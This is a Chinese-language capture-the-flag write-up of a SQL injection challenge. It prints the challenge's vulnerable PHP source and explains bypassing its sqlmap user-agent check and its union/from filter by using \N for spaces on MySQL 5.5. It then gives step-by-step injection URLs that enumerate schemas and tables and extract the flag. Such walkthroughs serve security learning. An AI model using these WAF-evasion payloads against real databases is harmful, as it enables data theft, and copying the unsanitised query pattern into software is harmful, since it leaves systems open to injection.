今天做了一道题目很有意思,题目的地址是:http://118.178.18.181:57019
这个是一个sql注入的题目
首先访问http://118.178.18.181:57019/index.php,查看网页源码的时候发现题目的提示:
<!--view source /source.php-->
于是访问:http://118.178.18.181:57019/source.php获得题目的源码:
<?php
include "config.php";
echo "<center><h1>Welcome to my site</h1></center><br>";
$id = $_GET['id']?waf($_GET['id']):1;
$sql = "select * from error_news where id = $id";
echo "<!--view source /source.php-->";
$row = mysql_fetch_array(mysql_query($sql));
if (empty($row) or mysql_error()){
echo "<center>no content detail</center>".mysql_error();
}else{
echo "<center><table border=1><tr><th>title</th><th>Content</th></tr><tr><td>${row['title']}</td><td>${row['content']}</td></tr></table></center>";
}
function waf($var){
if(stristr($_SERVER['HTTP_USER_AGENT'],'sqlmap')){
echo "<center>hacker<center>";
die();
}
$var = preg_replace('/([^a-z]+)(union|from)/i', ' $2', $var);
return $var;
}
他的waf规则很简单
1.检查user_agent来查看你是否使用sqlmap,这个很好绕过只要在跑sqlmap的时候加入–user-agent “Googlebot/2.1 (+http://www.google.com/bot.html)”这个参数就可以绕过
2.匹配字符串union或者from,如果匹配到的话就替换union或者from前面不是a-z的字符为 
,例如a000fro会被替换为a from
,这样的话就给注入造成了很大的麻烦,因为注入时必然会用到from来做跨表查询,而这样的规则就把诸如:/**/from, from,%0afrom,%a0from
等常规注入的payload变成失效的东西
我后来经过查询大量的文档之后发现,两篇文章的思路不错:http://blog.csdn.net/et48_sec/article/details/42113107,http://blog.csdn.net/et48_sec/article/details/42113107,里面都说到用\N来代替空格从而绕过waf,但是经过我的调试发现高版本的mysql和低版本的mysql还是有一点差别,比如我在我的高版本(5.6.27)的环境下执行:
select 1 from dual /*!50000unIOn*/select 2.\nfrom dual;
select 1 from dual where 1=\Nunion/**/select 1/**/\tfrom(/**/information_schema.SCHEMATA)/**/limit/**/0,1;
select 1 from dual where 1=\Nunion/**/select 2/**/a\t from(/**/information_schema.SCHEMATA)/**/limit/**/0,1;
都是可行的
但是在做题的环境中的低版本(5.5.55)这个版本的mysql却不能正常执行,后来我想到可以用http://blog.csdn.net/et48_sec/article/details/42113107这个文章给出的payload:select user,password from users where user_id=\Nunion select 1,2
来尝试绕过,发现可以成功,于是我的payload是:
http://118.178.18.181:57019/?id=\Nunion/**/select/**/1,@@version,database()%23
后面的绕过from费了一点时间,发现低版本的mysql只能”=”后面接入\N才可以用,后来我的修改了一下payload使之可以跨表查询
先先一个验证的sql代码试一下能不能成功:
select SCHEMA_NAME ,\N=\Nfrom information_schema.SCHEMATA;
查出来的数据是:
+--------------------+-------+
| SCHEMA_NAME | \N=\N |
+--------------------+-------+
| information_schema | NULL |
| mysql | NULL |
| performance_schema | NULL |
+--------------------+-------+
发现可以成功,于是用这个思路先查所有的数据库
http://118.178.18.181:57019/?id=\Nunion/**/select/**/database(),SCHEMA_NAME,\N=\Nfrom/**/information_schema.SCHEMATA/**/limit/**/1,1%23
返回
title | Content |
---|---|
errorerror |
查errorerror所有的表:
http://118.178.18.181:57019/?id=\Nunion/**/select/**/database(),table_name,\N=\Nfrom/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1%23
title | Content |
---|---|
flag |
查flag表中所有的字段
http://118.178.18.181:57019/?id=\Nunion/**/select/**/database(),table_name,\N=\Nfrom/**/Information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_Name='flag'/**/limit/**/0,1%23
title | Content |
---|---|
flag |
拿到flag
http://118.178.18.181:57019/?id=\Nunion/**/select/**/database(),flag,\N=\Nfrom/**/flag%23
title | Content |
---|---|
flag{7cfa7faeb83602f86b882bf511faf225} |